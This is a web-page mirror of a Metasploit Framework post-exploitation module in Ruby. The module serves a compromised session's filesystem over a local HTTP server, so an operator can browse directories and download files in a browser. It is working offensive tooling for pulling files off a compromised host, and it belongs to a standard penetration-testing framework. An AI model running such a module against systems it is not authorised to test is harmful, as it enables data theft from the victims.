CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/post/multi/manage/fileshare.rb
Views: 11784
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5
require 'cgi'

6


7
class MetasploitModule < Msf::Post

8


9
  include Msf::Post::File

10
  include Msf::Exploit::Remote::HttpServer

11


12
  def initialize(info = {})

13
    super(

14
      update_info(

15
        info,

16
        'Name' => 'Browse the session filesystem in a Web Browser',

17
        'Description' => %q{

18
          This module allows you to browse the session filesystem via a local

19
          browser window.

20
        },

21
        'License' => MSF_LICENSE,

22
        'Author' => [ 'timwr'],

23
        'Platform' => [ 'linux', 'win', 'osx' ],

24
        'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],

25
        'DefaultOptions' => { 'SRVHOST' => '127.0.0.1' },

26
        'Notes' => {

27
          'Reliability' => [ ],

28
          'SideEffects' => [ ],

29
          'Stability' => [ CRASH_SAFE ]

30
        }

31
      )

32
    )

33
  end

34


35
  def run

36
    exploit

37
  end

38


39
  def primer

40
    uri = get_uri.chomp('/') + '/'

41
    current_dir = pwd

42
    if session.platform == 'windows'

43
      current_dir = current_dir.gsub('\\', '/')

44
    end

45
    print_status("Current directory: #{uri}#{current_dir}")

46
  end

47


48
  def list_path(file_path, uripath)

49
    contents = []

50
    if file_path == '/' && session.platform == 'windows'

51
      get_drives.each do |drive|

52
        driveurl = drive + ':/'

53
        furl = uripath + driveurl

54
        contents << [furl, driveurl]

55
      end

56
      return contents

57
    end

58


59
    base_url = uripath

60
    if file_path.starts_with?('/')

61
      base_url = base_url.chomp('/')

62
    end

63
    base_url += file_path.chomp('/') + '/'

64
    dir(file_path).each do |file|

65
      next if ['.', '..'].include?(file)

66


67
      furl = base_url + file

68
      contents << [furl, file]

69
    end

70
    contents

71
  end

72


73
  def handle_response(cli, request_uri)

74
    uripath = get_resource.chomp('/')

75


76
    # Convert http://127.0.0.1/URIPATH/file/ -> /file

77
    if request_uri != uripath && request_uri.starts_with?(uripath)

78
      file_path = request_uri[uripath.length, request_uri.length].chomp('/')

79
    end

80
    if file_path.blank?

81
      file_path = '/'

82
    end

83


84
    uripath += '/'

85


86
    # Convert /C: -> C:/

87
    if session.platform == 'windows'

88
      if file_path.starts_with?('/')

89
        file_path = file_path[1, file_path.length]

90
      end

91
      if /([A-Z]):$/ =~ file_path

92
        file_path += '/'

93
      end

94
    end

95
    if file_path.blank?

96
      file_path = '/'

97
    end

98


99
    print_status("Request uri: #{request_uri} file_path: #{file_path} from #{cli.peerhost}")

100
    root_dir = (file_path == '/')

101


102
    if file?(file_path) && !root_dir

103
      # Download the file

104
      data = read_file(file_path)

105
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })

106
      return

107
    elsif directory?(file_path) || root_dir

108
      # List the directory

109
      body = "<h2>Directory listing for #{CGI.escapeHTML(file_path)}</h2><hr>"

110
      body << "<ul>\n"

111
      unless root_dir

112
        basedir = request_uri[0, request_uri.chomp('/').rindex('/')]

113
        if basedir.blank?

114
          basedir = '/'

115
        end

116
        body << "<li><a href=\"#{CGI.escapeHTML(basedir)}\">..</a>\n"

117
      end

118
      list_path(file_path, uripath).each do |furl, fname|

119
        body << "<li><a href=\"#{CGI.escapeHTML(furl)}\">#{CGI.escapeHTML(fname)}</a>\n"

120
      end

121
      body << "</ul>\n"

122
      html = %(<html>

123
  <head>

124
  <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">

125
  <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

126
  <title>Metasploit File Sharing</title>

127
  </head>

128
  <body>

129
  #{body}

130
  </body>

131
  </style>

132
  </html>

133
      )

134
      send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })

135
    else

136
      send_not_found(cli)

137
    end

138
  end

139


140
  def on_request_uri(cli, request)

141
    handle_response(cli, request.uri)

142
  rescue ::Rex::Post::Meterpreter::RequestError

143
    cli.send_response(create_response(500, 'Unknown error'))

144
  end

145
end

146


147